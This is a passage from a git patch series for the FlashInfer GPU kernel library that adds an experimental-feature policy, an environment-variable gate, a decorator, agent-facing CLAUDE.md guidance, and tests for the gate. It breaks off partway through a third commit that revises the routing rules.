From 684df37f1558a886d60f97a7b49a95cc88cd9952 Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Mon, 27 Jul 2026 11:06:19 -0700 Subject: [PATCH 01/41] First commit --- CLAUDE.md | 14 ++++ CONTRIBUTING.md | 48 +++++++++++ docs/index.rst | 1 + flashinfer/api_logging.py | 163 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 226 insertions(+) diff --git a/CLAUDE.md b/CLAUDE.md index 889a5d0b170..0ae4c623c47 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -33,6 +33,7 @@ FlashInfer is a GPU kernel library for LLM serving that uses **JIT (Just-In-Time | Enable GDN native short-T path | `export FLASHINFER_GDN_WY_NATIVE_T=1` | | Enable GDN strided QKV path | `export FLASHINFER_GDN_WY_STRIDED_QKV=1` | | Enable GDN native A/B tensors | `export FLASHINFER_GDN_WY_NATIVE_AB=1` | +| Enable experimental APIs/backends | `export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` | ## Quick Start for Development @@ -383,6 +384,18 @@ Every public API decorated with `@flashinfer_api` should also carry a `trace=` a - **Moderate**: `flashinfer/sampling.py` - with Jinja templating - **Complex**: `flashinfer/decode.py` - plan-run pattern, advanced workspace +## Experimental Code + +Experimental backends live under `flashinfer/experimental/`; experimental +public APIs live in core marked with `@flashinfer_experimental_api` (defined in +`flashinfer/api_logging.py`). All experimental behavior is gated behind +`FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`, is JIT-only (never registered in +`flashinfer/aot.py`), and is tested under `tests/experimental/`. + +→ **When working under `flashinfer/experimental/`, follow +[`flashinfer/experimental/CLAUDE.md`](flashinfer/experimental/CLAUDE.md); the +full policy is [`flashinfer/experimental/README.md`](flashinfer/experimental/README.md).** + ## Key Architectural Patterns ### Module Caching @@ -563,6 +576,7 @@ Used by `flashinfer.trace` / `fi_trace`. | Variable | Default | Read in | Effect | |----------|---------|---------|--------| +| `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES` | unset | `flashinfer/api_logging.py` | `1` permits experimental APIs and backends (see "Experimental Code" below). It permits but never selects: stable APIs still require explicit backend selection to route to an experimental backend. Without it, experimental APIs raise `RuntimeError`. | | `FLASHINFER_VALIDATE_INPUTS` | `0` | `flashinfer/mla/_core.py` (MLA wrapper) | Non-zero / non-empty value enables defensive input validation inside the MLA wrapper. Adds host-side overhead; intended for debugging. | | `FLASHINFER_AUTOTUNER_LOAD_FROM_FILE` | `0` | `flashinfer/autotuner/autotuner.py` | `1` loads previously serialized autotune results from disk instead of re-running the search. | | `FLASHINFER_AUTOTUNE_DIR` | unset | `flashinfer/mla/_sparse_mla_sm120.py` | Override the disk path for MLA AutoTuner cache files. Falls back to `FLASHINFER_WORKSPACE_DIR` when unset. | diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 882655068e2..24f59e3250f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -39,6 +39,54 @@ Code Contribution Procedure * Update (python) documentation index under `docs/` * Update `pyproject.toml` if you created new module in flashinfer +# Experimental APIs and Backends + +FlashInfer distinguishes stable functionality (normal review and support +expectations) from **experimental** functionality intended for fast-moving +work such as client-GPU (e.g. SM12x) kernels. Two separate concerns: + +* an **experimental API** — a public interface that may change or disappear; +* an **experimental backend** — an implementation not yet ready for stable support. + +A stable API may expose an experimental backend through explicit opt-in, and an +experimental API must be clearly identified and gated. + +**Placement:** + +* Experimental **APIs** live in core, marked with `@flashinfer_experimental_api` + (defined in `flashinfer/api_logging.py`). The core entry point stays thin: + signature, shared validation, feature-gate check, explicit backend selection, + direct handoff. +* Experimental **backends** and all backend-specific logic (support checks, + heuristics, routing, compilation, caching, kernels) live under + `flashinfer/experimental/`. + +**Gating:** all experimental behavior requires +`FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`. The variable *permits* +experimental functionality; it does not *select* it — stable APIs must never +silently route to an experimental backend, and automatic routing (dispatch, +autotuning, trace-apply) considers only stable backends. + +**Requirements for every experimental feature:** + +* a named owner and a tracking issue (use case, reason for the experimental + path, graduation plan and target release — default intent is graduation + within four weeks); +* correctness tests against a reference in `tests/experimental/`, validated on + the intended hardware, plus a runnable example; +* no registration in `flashinfer/aot.py` (experimental features are JIT-only + and never ship in pre-built packages). + +Experimental features provide no compatibility guarantees and may be removed +without deprecation. Changes under `flashinfer/experimental/` receive narrower +review (eligibility, correctness, containment, licensing, obvious risks); +changes to core — including thin entry points — follow the normal review +process. + +For the full policy (admission criteria, lifecycle reviews, containment rules, +graduation checklist), see +[flashinfer/experimental/README.md](flashinfer/experimental/README.md). + # Pull Request Guidelines * **Use the default PR template.** When opening a PR, fill in the repository's PR template diff --git a/docs/index.rst b/docs/index.rst index 3e2f7d25709..2f8b77f9bc0 100644 --- a/docs/index.rst +++ b/docs/index.rst @@ -20,6 +20,7 @@ FlashInfer is a library and kernel generator for Large Language Models that prov fi_trace trace_apply autotuning + experimental .. toctree:: :maxdepth: 2 diff --git a/flashinfer/api_logging.py b/flashinfer/api_logging.py index f26fefd9f57..72b2cfc5344 100644 --- a/flashinfer/api_logging.py +++ b/flashinfer/api_logging.py @@ -23,6 +23,7 @@ import logging import os import sys +import warnings from datetime import datetime from pathlib import Path from typing import Any, Callable, Dict, List, Tuple, Optional, cast @@ -2536,3 +2537,165 @@ def wrapper(*args, **kwargs): if func is None: return decorator return decorator(func) + + +# --------------------------------------------------------------------------- +# Experimental API and backend gating +# +# See flashinfer/experimental/README.md for the full policy governing +# experimental APIs and backends. +# --------------------------------------------------------------------------- + +_EXPERIMENTAL_ENV_VAR = "FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES" + + +class ExperimentalWarning(UserWarning): + """Warning emitted the first time a FlashInfer experimental API is called. + + Experimental APIs and backends provide no compatibility or long-term + support guarantees and may change or be removed without deprecation. + """ + + +def is_experimental_enabled() -> bool: + """Return whether experimental features are permitted in this process. + + Experimental features are permitted when the environment variable + ``FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES`` is set to ``1``. + + Note that this flag *permits* experimental functionality; it never + *selects* it. Stable APIs must still require explicit opt-in (e.g. an + explicit ``backend=`` argument) to route to an experimental backend. + + The environment variable is read on every call so the gate can be + toggled at runtime (e.g. in tests). The check is a single dict lookup + and is not a hot-path concern. + """ + return os.environ.get(_EXPERIMENTAL_ENV_VAR, "0") == "1" + + +def _experimental_disabled_message( + feature: str, tracking_issue: Optional[str] = None +) -> str: + msg = ( + f"'{feature}' is experimental FlashInfer functionality and is disabled " + f"by default. Set {_EXPERIMENTAL_ENV_VAR}=1 to enable it. Experimental " + f"features provide no compatibility guarantees and may change or be " + f"removed without deprecation." + ) + if tracking_issue: + msg += f" Tracking issue: {tracking_issue}" + return msg + + +def require_experimental(feature: str, tracking_issue: Optional[str] = None) -> None: + """Raise ``RuntimeError`` unless experimental features are enabled. + + Use this in the thin core entry point of a *stable* API that exposes an + *experimental* backend through explicit selection, before handing off to + code under ``flashinfer.experimental``: + + >>> if backend == "experimental_xyz": + ... require_experimental("mm_xyz experimental backend", tracking_issue="...") + ... from flashinfer.experimental import xyz # deferred import + ... return xyz.run(...) + + Parameters + ---------- + feature : str + Human-readable name of the experimental feature, used in the error + message. + tracking_issue : Optional[str] + URL of the tracking issue for this feature, appended to the error + message when provided. + """ + if not is_experimental_enabled(): + raise RuntimeError(_experimental_disabled_message(feature, tracking_issue)) + + +def flashinfer_experimental_api( + func: Callable = None, + *, + trace=None, + feature: Optional[str] = None, + tracking_issue: Optional[str] = None, +) -> Callable: + """Decorator marking a public FlashInfer API as experimental. + + Composes with :func:`flashinfer_api` (the wrapped function keeps API + logging, tensor dumping, and ``fi_trace`` support) and additionally: + + - raises ``RuntimeError`` when called without + ``FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`` in the environment; + - emits an :class:`ExperimentalWarning` once per process on first use; + - sets ``is_experimental = True`` on the returned function so tooling can + mechanically identify experimental APIs; + - prepends an experimental-status warning to the docstring (picked up by + Sphinx). + + Experimental APIs live in core (not under ``flashinfer.experimental``) + but must keep backend-specific logic under ``flashinfer.experimental``; + see ``flashinfer/experimental/README.md`` for the placement rules. + + Parameters + ---------- + trace : Optional[TraceTemplate] + Forwarded to :func:`flashinfer_api`. Optional for experimental APIs. + feature : Optional[str] + Human-readable feature name used in the gate error and warning. + Defaults to the function's qualified name. + tracking_issue : Optional[str] + URL of the feature's tracking issue. Optional in code, but required + by policy for merged experimental APIs (see the README); prefer + passing it so error messages point users at the feature's status. + + Examples + -------- + >>> @flashinfer_experimental_api( + ... tracking_issue="https://github.com/flashinfer-ai/flashinfer/issues/1234" + ... ) + ... def my_new_op(x, y): + ... ... + """ + + def decorator(f: Callable) -> Callable: + logged = flashinfer_api(f, trace=trace) + feature_name = feature if feature is not None else f.__qualname__ + warned = False + + @functools.wraps(logged) + def wrapper(*args, **kwargs): + nonlocal warned + if not is_experimental_enabled(): + raise RuntimeError( + _experimental_disabled_message(feature_name, tracking_issue) + ) + if not warned: + warned = True + warn_msg = ( + f"'{feature_name}' is an experimental FlashInfer API: it " + f"provides no compatibility guarantees and may change or be " + f"removed without deprecation." + ) + if tracking_issue: + warn_msg += f" Tracking issue: {tracking_issue}" + warnings.warn(warn_msg, ExperimentalWarning, stacklevel=2) + return logged(*args, **kwargs) + + wrapper.is_experimental = True # type: ignore[attr-defined] + wrapper.experimental_feature = feature_name # type: ignore[attr-defined] + wrapper.tracking_issue = tracking_issue # type: ignore[attr-defined] + banner = ( + ".. warning::\n" + f" ``{feature_name}`` is experimental. It requires " + f"``{_EXPERIMENTAL_ENV_VAR}=1``, provides no compatibility " + f"guarantees, and may change or be removed without deprecation." + ) + wrapper.__doc__ = ( + banner if logged.__doc__ is None else banner + "\n\n" + logged.__doc__ + ) + return wrapper + + if func is None: + return decorator + return decorator(func) From 8a732ecb7ed55240e550d01d64afbaa9c3e99af6 Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Mon, 27 Jul 2026 11:07:57 -0700 Subject: [PATCH 02/41] Second commit --- docs/experimental.rst | 56 +++++ flashinfer/experimental/CLAUDE.md | 89 ++++++++ flashinfer/experimental/README.md | 216 ++++++++++++++++++++ flashinfer/experimental/__init__.py | 45 ++++ tests/experimental/__init__.py | 0 tests/experimental/test_experimental_api.py | 114 +++++++++++ 6 files changed, 520 insertions(+) create mode 100644 docs/experimental.rst create mode 100644 flashinfer/experimental/CLAUDE.md create mode 100644 flashinfer/experimental/README.md create mode 100644 flashinfer/experimental/__init__.py create mode 100644 tests/experimental/__init__.py create mode 100644 tests/experimental/test_experimental_api.py diff --git a/docs/experimental.rst b/docs/experimental.rst new file mode 100644 index 00000000000..3d226663e80 --- /dev/null +++ b/docs/experimental.rst @@ -0,0 +1,56 @@ +.. _experimental: + +Experimental APIs and Backends +============================== + +FlashInfer distinguishes stable functionality from **experimental** +functionality intended for fast-moving work such as client-GPU (e.g. SM12x) +kernels: + +- an **experimental API** is a public interface that may change or disappear; +- an **experimental backend** is an implementation that is not yet ready for + stable support. + +A stable API may expose an experimental backend through explicit opt-in +(e.g. an explicit ``backend=`` argument), and experimental APIs are marked +with an experimental warning in their documentation. + +Enabling experimental features +------------------------------ + +All experimental behavior requires an explicit opt-in: + +.. code-block:: bash + + export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1 + +Without this variable, experimental APIs raise ``RuntimeError`` and stable +APIs never route to experimental backends. The variable *permits* +experimental functionality; it does not *select* it — routing to an +experimental backend additionally requires explicit selection at the call +site. The first use of an experimental API in a process emits an +``ExperimentalWarning``. + +User contract +------------- + +Experimental APIs and backends provide **no compatibility or long-term +support guarantees** and may change or be removed without deprecation. They +are intended primarily for main-branch users, community containers, and +local framework integrations, and should not be enabled by default in +supported framework releases. + +Each experimental feature's documentation identifies whether the API, the +backend, or both are experimental; the supported use cases and limitations; +and any explicit backend-selection requirement. + +Experimental features are JIT-only: they are not included in the +``flashinfer-jit-cache`` / ``flashinfer-cubin`` pre-built packages. + +For contributors +---------------- + +The full policy — placement rules, admission criteria, ownership and +lifecycle requirements, and the graduation checklist — lives in +``flashinfer/experimental/README.md`` in the repository, with a summary in +``CONTRIBUTING.md``. diff --git a/flashinfer/experimental/CLAUDE.md b/flashinfer/experimental/CLAUDE.md new file mode 100644 index 00000000000..9938d0662f3 --- /dev/null +++ b/flashinfer/experimental/CLAUDE.md @@ -0,0 +1,89 @@ +# CLAUDE.md — flashinfer/experimental/ + +Agent guidance for code under `flashinfer/experimental/`. The normative +policy is [README.md](./README.md) in this directory; this file is the +operational summary. The root `CLAUDE.md` still applies except where relaxed +below. + +## What lives here + +Experimental **backends** and backend-specific logic: support checks, +heuristics, routing, compilation, caching, and kernels not yet ready for +stable support. Public experimental **APIs** do NOT live here — they live in +core, marked with `@flashinfer_experimental_api`, with only a thin entry +point that validates, checks the feature gate, and hands off to this package. + +## Hard rules (containment) + +- **Never** import `flashinfer.experimental` from core at module level. A + sanctioned thin entry point in core may do a deferred (function-local) + import after calling `require_experimental(...)`. +- **Never** register experimental modules in `flashinfer/aot.py` — + experimental features are JIT-only and must not ship in pre-built packages. +- **Never** let a stable API route here by default. The env var + `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` *permits* experimental + behavior; explicit selection (e.g. `backend="experimental_xyz"`) *selects* + it. Both are required. +- **Never** eagerly import this package from `flashinfer/__init__.py`. +- Autotuner tactic enumeration and trace_apply substitution must not pick + experimental paths without the gate plus explicit opt-in. + +## Adding an experimental API (new public function) + +1. Implement the backend under `flashinfer/experimental//`. +2. Add the public function in the appropriate core module, decorated: + + ```python + from .api_logging import flashinfer_experimental_api + + @flashinfer_experimental_api( + tracking_issue="https://github.com/flashinfer-ai/flashinfer/issues/NNNN", + ) + def my_new_op(x, ...): + """Docstring (the decorator prepends the experimental banner).""" + # shared validation only + from .experimental.my_feature import run # deferred import + return run(x, ...) + ``` + +3. The decorator enforces the gate (RuntimeError when off), warns once per + process (`ExperimentalWarning`), and sets `is_experimental = True`. + +## Exposing an experimental backend from a stable API + +In the stable API's dispatch, behind an explicit `backend=` value: + +```python +from .api_logging import require_experimental + +if backend == "experimental_xyz": + require_experimental("op_name experimental_xyz backend", tracking_issue="...") + from .experimental.xyz import run # deferred import + return run(...) +``` + +## Requirements for every feature + +- Named owner + tracking issue (use case, reason, graduation plan/target; + default intent: graduate within four weeks). +- Correctness tests vs. a reference in `tests/experimental/`, validated on + the intended hardware, plus a runnable example. + +## Checklist deltas vs. root CLAUDE.md's "Adding a New Operation" + +| Step | Experimental status | +|------|---------------------| +| Trace template + `tests/trace/example.py` | Optional (recommended before graduation) | +| Register in `flashinfer/aot.py` | Prohibited | +| Export in `flashinfer/__init__.py` | Optional; must be lazy if added | +| Tests | Required, under `tests/experimental/` | +| Docs | Must state experimental status, gate, and limitations | + +Everything else (JIT module structure, framework separation of +`include/`/`csrc/`, coding style) follows the root `CLAUDE.md`. + +## Graduation / removal + +Follow the graduation checklist in [README.md](./README.md). Removal needs no +deprecation cycle: delete the backend directory, the tagged API, and the +tests, and note it in the tracking issue. diff --git a/flashinfer/experimental/README.md b/flashinfer/experimental/README.md new file mode 100644 index 00000000000..4dddcb0e59e --- /dev/null +++ b/flashinfer/experimental/README.md @@ -0,0 +1,216 @@ +# FlashInfer Experimental APIs and Backends + +This document is the normative policy for experimental functionality in +FlashInfer. Code under `flashinfer/experimental/` and every API marked with +`@flashinfer_experimental_api` is governed by the rules below. + +## Overview + +FlashInfer applies uniform review and support expectations to stable +user-facing functionality. That works well for long-term-supported features, +especially on datacenter architectures, but less well for fast-moving work +(e.g. client-GPU kernels on SM12x) where users value functional availability +over API or implementation stability. + +FlashInfer therefore distinguishes: + +- an **experimental API** — a public interface that may change or disappear + (e.g. a new op for a new model); and +- an **experimental backend** — an implementation that is not yet ready for + stable support (e.g. a generated or architecture-specific kernel). + +These are separate concerns: + +| | Stable Backend | Experimental Backend | +| ---------------- | --------------------- | -------------------- | +| Stable API | Normal path | Allowed with opt-in | +| Experimental API | Not a target use case | Allowed with opt-in | + +In this document, **core** refers to the existing non-experimental codebase +(everything outside `flashinfer/experimental/`). + +## Selected design + +- **Experimental APIs live in core**, marked with + `@flashinfer_experimental_api` (defined in `flashinfer/api_logging.py`). + Graduation is then a tag removal with no import-path change for users. +- **Experimental backends and backend-specific logic live under + `flashinfer/experimental/`** (importable as `flashinfer.experimental`). + +Where core contains an experimental entry point, it may include only: + +- the public API signature; +- general (shared) validation; +- the feature-gate check; +- explicit backend selection; +- a direct handoff to `flashinfer.experimental`. + +Backend-specific support checks, heuristics, routing, compilation, caching, +and kernels remain under `flashinfer/experimental/`. If the *API* is +experimental, its implementation lives here too, regardless of the +implementation's maturity — this keeps removal a one-directory deletion. + +## Feature gating + +All experimental behavior requires: + +```bash +export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1 +``` + +Without this opt-in: + +- experimental APIs raise `RuntimeError` when called; +- stable APIs must not select experimental backends; +- automatic routing (backend dispatch, autotuning, trace-apply substitution) + must consider only stable backends. + +**The environment variable permits experimental functionality; it does not +select it.** A stable API must additionally require explicit selection (e.g. +an explicit `backend=` argument) to route to an experimental backend. Stable +APIs must never silently select experimental backends, with or without the +flag. + +Importing `flashinfer.experimental` is always allowed so that tooling, docs, +and introspection work without the flag; the gate is enforced at call time. + +### Gating primitives + +Defined in `flashinfer/api_logging.py` and re-exported from +`flashinfer.experimental`: + +- `@flashinfer_experimental_api(trace=..., feature=..., tracking_issue=...)` + — marks a public experimental API. Composes with `@flashinfer_api` + (logging/dump/trace still work), enforces the gate, emits an + `ExperimentalWarning` once per process, and sets `is_experimental = True` + for mechanical identification. +- `require_experimental(feature, tracking_issue=None)` — call in the thin + core entry point of a stable API before handing off to an experimental + backend. +- `is_experimental_enabled()` — raw gate check. + +## Ownership and lifecycle + +Every experimental feature must have: + +- a **named owner**; +- a **tracking issue** that documents the feature's use case, states the + reason for entering the experimental path, and states a graduation plan + with a target release (e.g. "finalize the API and graduate by the 0.6.xx + release in four weeks"). + +Default intent for any experimental PR is graduation within **four weeks**. +Experimental features are reviewed on that cadence and either continue +incubating, graduate through the normal stable process, or are removed. + +Continued incubation is not automatic. At each lifecycle review, the owner +must document why the feature is still experimental, provide evidence of +active use or progress, and identify the remaining graduation blockers. A +maintainer must approve the extension. Repeating the same justification +without meaningful progress is not sufficient. + +Broken tests, loss of ownership, or lack of meaningful usage are sufficient +reasons for removal **without** stable deprecation guarantees. + +## Admission criteria + +The initial focus is fast-moving client-GPU kernels and backends, including +SM12x. Other categories may be admitted with maintainer approval. + +A feature requires documented justification, such as: + +- a new operator family or algorithm; +- a materially different API contract; +- a new compiler, backend, or architecture-specific implementation path; +- a use case FlashInfer has not committed to maintain. + +A new experimental API should **not** be created for a parameter-space +extension of an existing stable API. An experimental backend may implement an +existing stable API when it introduces a materially new implementation path. + +## Testing and review + +Every experimental feature must include: + +- correctness tests against a reference; +- at least one representative supported configuration; +- validation on the intended hardware; +- a runnable example. + +Tests live under `tests/experimental/` and run in a separate CI lane; they +must pass for PRs that modify the feature. + +Changes under `flashinfer/experimental/` receive narrower review focused on +eligibility, correctness, containment, licensing, and obvious safety or +maintainability risks. Changes to core (including thin entry points) follow +the normal core review process; reviewers verify that integration is +explicit, stable behavior is unchanged by default, and backend-specific logic +has not leaked into core. + +Broad portability, comprehensive performance coverage, and long-term +maintainability are **not** required at admission. + +### Relaxations vs. the stable-API checklist + +Relative to the "Adding a New Operation" checklist in the root `CLAUDE.md`: + +- **Trace templates** (`flashinfer/trace/templates/`) are optional for + experimental APIs (recommended before graduation). +- **AOT registration** (`flashinfer/aot.py`) is **prohibited**: experimental + features are JIT-only so they never ship in `flashinfer-jit-cache` / + `flashinfer-cubin` pre-built packages. Exceptions require maintainer + approval. +- Top-level export from `flashinfer/__init__.py` is optional and, if added, + must be lazy (no eager import of `flashinfer.experimental`). + +## Containment rules + +- Core must not import from `flashinfer.experimental`, except inside a + sanctioned thin entry point, and then only via a deferred (function-local) + import. +- `flashinfer/__init__.py` must not eagerly import `flashinfer.experimental` + (import cost; experimental code may depend on optional packages). +- Code under `flashinfer/experimental/` may import freely from core. +- Autotuner tactic enumeration and `trace_apply` kernel substitution must not + select experimental paths unless the gate is set *and* the caller + explicitly opted in. Experimental tactics serialized into autotune caches + must be skippable by loaders after the feature is removed. + +## User contract + +Experimental APIs and backends provide no compatibility or long-term support +guarantees and may change or be removed without deprecation. + +Documentation for each feature must identify: + +- whether the API, the backend, or both are experimental; +- supported use cases and limitations; +- required feature gates; +- any explicit backend-selection requirement. + +Experimental features are intended primarily for main-branch users, community +containers, and local framework integrations. They should not be enabled by +default in supported framework releases. A request for default or supported +release-path integration is a signal that the feature should be considered +for graduation. + +## Graduation checklist + +To graduate a feature to stable: + +1. Finalize the API contract (naming, dtypes, keyword-only perf parameters). +2. Move backend code from `flashinfer/experimental/` to its stable home; + leave a re-export shim for one release if the experimental path was + user-visible. +3. Replace `@flashinfer_experimental_api` with `@flashinfer_api` and remove + `require_experimental` calls from the entry point. +4. Complete the full stable-API checklist in the root `CLAUDE.md` (trace + template, `tests/trace/example.py`, docs page, top-level export). +5. Register in `flashinfer/aot.py` if the feature should ship pre-compiled. +6. Move tests from `tests/experimental/` to the corresponding stable test + directory. +7. Close the tracking issue, noting the graduating release. + +Removal instead of graduation: delete the backend directory, the tagged API, +and the tests; note the removal in the tracking issue. No deprecation cycle +is required. diff --git a/flashinfer/experimental/__init__.py b/flashinfer/experimental/__init__.py new file mode 100644 index 00000000000..6d674de10fd --- /dev/null +++ b/flashinfer/experimental/__init__.py @@ -0,0 +1,45 @@ +""" +Copyright (c) 2026 by FlashInfer team. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +""" + +# FlashInfer experimental namespace. +# +# Code under this package implements experimental backends and +# backend-specific logic: support checks, heuristics, routing, compilation, +# caching, and kernels that are not yet ready for stable support. Public +# experimental APIs live in core, marked with @flashinfer_experimental_api; +# only thin entry points in core may hand off to this package. +# +# Everything here is gated behind FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1, +# provides no compatibility guarantees, and may change or be removed without +# deprecation. Importing this module is always allowed (so tooling and docs +# can introspect it); the gate is enforced at call time. +# +# See README.md in this directory for the full policy, and CLAUDE.md for +# agent-facing contribution rules. + +from ..api_logging import ( + ExperimentalWarning, + flashinfer_experimental_api, + is_experimental_enabled, + require_experimental, +) + +__all__ = [ + "ExperimentalWarning", + "flashinfer_experimental_api", + "is_experimental_enabled", + "require_experimental", +] diff --git a/tests/experimental/__init__.py b/tests/experimental/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/tests/experimental/test_experimental_api.py b/tests/experimental/test_experimental_api.py new file mode 100644 index 00000000000..b8779ff8bad --- /dev/null +++ b/tests/experimental/test_experimental_api.py @@ -0,0 +1,114 @@ +""" +Copyright (c) 2026 by FlashInfer team. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +""" + +# Tests for the experimental-feature gating primitives +# (@flashinfer_experimental_api, require_experimental). CPU-only; no GPU or +# JIT compilation required. + +import warnings + +import pytest + +from flashinfer.api_logging import ( + _EXPERIMENTAL_ENV_VAR, + ExperimentalWarning, + flashinfer_experimental_api, + is_experimental_enabled, + require_experimental, +) + +ISSUE_URL = "https://github.com/flashinfer-ai/flashinfer/issues/0" + + +def _make_add(): + @flashinfer_experimental_api + def sample_add(x, y): + """Add two values.""" + return x + y + + return sample_add + + +def test_gate_off_raises(monkeypatch): + monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) + sample_add = _make_add() + with pytest.raises(RuntimeError, match=_EXPERIMENTAL_ENV_VAR): + sample_add(1, 2) + + +def test_gate_off_for_non_one_values(monkeypatch): + for value in ("0", "", "true", "yes"): + monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, value) + assert not is_experimental_enabled() + + +def test_gate_on_runs_and_warns_once(monkeypatch): + monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") + sample_add = _make_add() + + with pytest.warns(ExperimentalWarning, match="sample_add"): + assert sample_add(1, 2) == 3 + + # Second call must not warn again. + with warnings.catch_warnings(): + warnings.simplefilter("error", ExperimentalWarning) + assert sample_add(3, 4) == 7 + + +def test_mechanical_identification(monkeypatch): + sample_add = _make_add() + assert sample_add.is_experimental is True + assert sample_add.experimental_feature.endswith("sample_add") + assert "experimental" in sample_add.__doc__ + # Original docstring is preserved after the banner. + assert "Add two values." in sample_add.__doc__ + + +def test_decorator_with_arguments(monkeypatch): + monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) + + @flashinfer_experimental_api(feature="my_feature", tracking_issue=ISSUE_URL) + def sample_mul(x, y): + return x * y + + assert sample_mul.experimental_feature == "my_feature" + assert sample_mul.tracking_issue == ISSUE_URL + with pytest.raises(RuntimeError, match="my_feature") as excinfo: + sample_mul(2, 3) + assert ISSUE_URL in str(excinfo.value) + + monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") + with pytest.warns(ExperimentalWarning, match="my_feature"): + assert sample_mul(2, 3) == 6 + + +def test_require_experimental(monkeypatch): + monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) + with pytest.raises(RuntimeError, match="some backend") as excinfo: + require_experimental("some backend", tracking_issue=ISSUE_URL) + assert ISSUE_URL in str(excinfo.value) + + monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") + require_experimental("some backend") # must not raise + + +def test_experimental_namespace_reexports(): + import flashinfer.experimental as fe + + assert fe.flashinfer_experimental_api is flashinfer_experimental_api + assert fe.require_experimental is require_experimental + assert fe.is_experimental_enabled is is_experimental_enabled + assert fe.ExperimentalWarning is ExperimentalWarning From ef1b869e6676e1a04e7d37fa3e2c9ada31bfb7a1 Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Thu, 6 Aug 2026 16:52:15 -0700 Subject: [PATCH 03/41] Update --- CLAUDE.md | 2 +- CONTRIBUTING.md | 18 ++-- docs/experimental.rst | 22 ++-- flashinfer/api_logging.py | 47 +++------ flashinfer/experimental/CLAUDE.md | 20 ++-- flashinfer/experimental/README.md | 105 +++++++++++++++----- tests/experimental/test_experimental_api.py | 14 +-- 7 files changed, 133 insertions(+), 95 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 687650a5507..4ad9dfeafae 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -581,7 +581,7 @@ Used by `flashinfer.trace` / `fi_trace`. | Variable | Default | Read in | Effect | |----------|---------|---------|--------| -| `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES` | unset | `flashinfer/api_logging.py` | `1` permits experimental APIs and backends (see "Experimental Code" below). It permits but never selects: stable APIs still require explicit backend selection to route to an experimental backend. Without it, experimental APIs raise `RuntimeError`. | +| `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES` | unset | `flashinfer/api_logging.py` | `1` permits experimental APIs and backends (see "Experimental Code" below). The flag is the single opt-in: with it set, stable APIs may route to experimental backends automatically (dispatch, autotuning, trace-apply). Without it, experimental APIs raise `RuntimeError` and automatic routing considers only stable backends. | | `FLASHINFER_VALIDATE_INPUTS` | `0` | `flashinfer/mla/_core.py` (MLA wrapper) | Non-zero / non-empty value enables defensive input validation inside the MLA wrapper. Adds host-side overhead; intended for debugging. | | `FLASHINFER_AUTOTUNER_LOAD_FROM_FILE` | `0` | `flashinfer/autotuner/autotuner.py` | `1` loads previously serialized autotune results from disk instead of re-running the search. | | `FLASHINFER_AUTOTUNE_DIR` | unset | `flashinfer/mla/_sparse_mla_sm120.py` | Override the disk path for MLA AutoTuner cache files. Falls back to `FLASHINFER_WORKSPACE_DIR` when unset. | diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 24f59e3250f..e733a384558 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -43,19 +43,21 @@ Code Contribution Procedure FlashInfer distinguishes stable functionality (normal review and support expectations) from **experimental** functionality intended for fast-moving -work such as client-GPU (e.g. SM12x) kernels. Two separate concerns: +work — client-GPU (e.g. SM12x) kernels, new operations from the latest +models, or highly specialized kernels for specific problem sizes. Two +separate concerns: * an **experimental API** — a public interface that may change or disappear; * an **experimental backend** — an implementation not yet ready for stable support. -A stable API may expose an experimental backend through explicit opt-in, and an -experimental API must be clearly identified and gated. +A stable API may route to an experimental backend once experimental features +are enabled, and an experimental API must be clearly identified and gated. **Placement:** * Experimental **APIs** live in core, marked with `@flashinfer_experimental_api` (defined in `flashinfer/api_logging.py`). The core entry point stays thin: - signature, shared validation, feature-gate check, explicit backend selection, + signature, shared validation, feature-gate check, backend selection, direct handoff. * Experimental **backends** and all backend-specific logic (support checks, heuristics, routing, compilation, caching, kernels) live under @@ -63,9 +65,11 @@ experimental API must be clearly identified and gated. **Gating:** all experimental behavior requires `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`. The variable *permits* -experimental functionality; it does not *select* it — stable APIs must never -silently route to an experimental backend, and automatic routing (dispatch, -autotuning, trace-apply) considers only stable backends. +experimental functionality everywhere: 